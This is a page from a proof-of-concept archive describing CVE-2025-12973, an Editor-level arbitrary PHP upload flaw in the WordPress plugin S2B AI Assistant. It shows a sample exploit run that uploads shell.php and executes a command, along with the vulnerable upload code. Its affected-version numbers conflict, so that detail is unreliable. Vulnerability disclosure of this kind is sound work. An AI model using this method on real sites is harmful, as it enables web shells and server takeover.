支持本站 — 捐款将帮助我们持续运营

目标: 1000 元,已筹: 1000

100.0%

POC详情: 22ccf6542ed4a6cb04f0b9f0fdce46e93eeadf6f

来源
关联漏洞
标题:WordPress plugin S2B AI Assistant 代码问题漏洞 (CVE-2025-12973)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台具有在基于PHP和MySQL的服务器上架设个人博客网站的功能。WordPress plugin是一个应用插件。 WordPress plugin S2B AI Assistant 1.7.8及之前版本存在代码问题漏洞,该漏洞源于storeFile函数缺少文件类型验证,可能导致任意文件上传。
Description
S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator <= 1.7.7 - Authenticated (Editor+) Arbitrary File Upload
介绍
# S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator <= 1.7.7 - Authenticated (Editor+) Arbitrary File Upload

The WordPress [S2B AI Assistant](https://wordpress.org/plugins/s2b-ai-assistant) plugin (versions 2.47 and prior) contains an arbitrary file upload vulnerability that allows authenticated WordPress users with Editor role or higher to upload malicious PHP files to the server, potentially leading to remote code execution.


## TL;DR Exploits

A POC [CVE-2025-12973.py](./CVE-2025-12973.py) is provided to demonstrate a remote attacker uploading `shell.php` and executing remote code:
```
python3 ./CVE-2025-12973.py http://techcorp.cc editor $PASSWORD
[+] Target: http://techcorp.cc
[+] Username: editor
[+] Nonce obtained: a15be47119
[+] File uploaded successfully!
[+] Shell URL: http://techcorp.cc/wp-content/uploads/2025/11/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```


## Technical Description

The vulnerability exists in the `Utils.php` file at the `storeFile()` method, which is called by the `/wp-admin/admin-post.php` endpoint with action `s2b_store_chatbot_upload`. The upload functionality uses a custom file extension whitelist that explicitly allows dangerous file types including PHP files. This allows authenticated WordPress users with Editor role or higher to upload arbitrary files, including PHP files that can be executed on the server.

### Attack Path Analysis

**Source**: User input from `$_FILES['s2baia_chatbot_config_database']` ([line 300](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L300))
**Sink**: `$wp_filesystem->put_contents($outfile, $file_content, FS_CHMOD_FILE)` ([line 344](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L344))

The vulnerability occurs because:

1. **Route Registration**: The upload endpoint is registered in [`AdminChatBotController.php`](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/controllers/AdminChatBotController.php#L25).
2. **Controller Access**: The `processAssistantUpload()` method handles the upload request ([line 1103](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/controllers/AdminChatBotController.php#L1103)).
3. **Input Processing**: User-controlled file data from `$_FILES['s2baia_chatbot_config_database']` is directly processed without proper validation.
4. **File Handling**: Only a custom extension whitelist check is applied using `checkAllowedFilesearchExtensions()` ([line 320](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L320)), which explicitly allows `.php` extension ([line 366](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L366)).
5. **File Storage**: Files are saved to `wp-content/uploads/YYYY/MM/`.

### Vulnerable Code Location

**File**: [`lib/helpers/Utils.php`](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php)
**Lines**: [289-348](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L289)

```php
public static function storeFile($targetDir) {
    global $wp_filesystem;

    // Initialize WP_Filesystem
    if (!function_exists('request_filesystem_credentials')) {
        require_once ABSPATH . 'wp-admin/includes/file.php';
    }
    if (!WP_Filesystem()) {
        return '';
    }

    if (!isset($_FILES) || !is_array($_FILES) || !isset($_FILES['s2baia_chatbot_config_database'])) {  // SOURCE: User input ([line 300](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L300))
        return '';
    }

    if (!isset($_FILES['s2baia_chatbot_config_database']['error']) || !isset($_FILES['s2baia_chatbot_config_database']['name']) || !isset($_FILES['s2baia_chatbot_config_database']['size']) || !isset($_FILES['s2baia_chatbot_config_database']['tmp_name'])) {
        return '';
    }

    $chunk = isset($_REQUEST["chunk"]) ? (int) $_REQUEST["chunk"] : 0;
    $name = sanitize_file_name($_FILES['s2baia_chatbot_config_database']['name']);
    if (strlen($name) == 0) {
        return '';
    }

    $finfo = pathinfo($name);

    if (is_array($finfo)) {
        $fname = sanitize_file_name($finfo['filename']);
        $fext = $finfo['extension'];
        if (!self::checkAllowedFilesearchExtensions($fext)) {  // Only custom whitelist check ([line 320](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L320))
            return '';
        }
        if ($wp_filesystem->exists($targetDir . DIRECTORY_SEPARATOR . $name)) {
            $timest = time();
            $name = $fname . '_' . $timest . '_' . random_int(1000, 9999) . '.' . $fext;
        }
    }

    $tmp_name = sanitize_text_field($_FILES['s2baia_chatbot_config_database']['tmp_name']);
    $outfile = $targetDir . DIRECTORY_SEPARATOR . $name;

    // Open the output file and write contents using WP_Filesystem
    if ($chunk === 0) {
        $wp_filesystem->put_contents($outfile, '', FS_CHMOD_FILE);
    }

    // Read the temporary file and append its contents to the output file
    $file_content = $wp_filesystem->get_contents($tmp_name);
    if ($file_content === false) {
        return '';
    }

    // Append content to the file
    if (!$wp_filesystem->put_contents($outfile, $file_content, FS_CHMOD_FILE)) {  // SINK: Direct file write ([line 344](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L344))
        return '';
    }

    // Delete the temporary file using WordPress method
    // ... rest of function
}
```

**File**: [`lib/helpers/Utils.php`](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php)
**Lines**: [354-383](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L354)

```php
public static function checkAllowedFilesearchExtensions($ext) {
    switch ($ext) {
        case 'c':
        case 'cs':
        case 'cpp':
        case 'doc':
        case 'docx':
        case 'html':
        case 'java':
        case 'json':
        case 'md':
        case 'pdf':
        case 'php':  // Explicitly allows PHP files ([line 366](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L366))
        case 'pptx':
        case 'py':
        case 'rb':
        case 'tex':
        case 'txt':
        case 'css':
        case 'js':
        case 'sh':
        case 'ts':

            return true;

        default:
            return false;
    }
    return false;
}
```
文件快照

[4.0K] /data/pocs/22ccf6542ed4a6cb04f0b9f0fdce46e93eeadf6f ├── [3.3K] CVE-2025-12973.py └── [6.5K] README.md 1 directory, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮件到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对 POC 代码进行快照,为了长期维护,请考虑为本地 POC 付费/捐赠,感谢您的支持。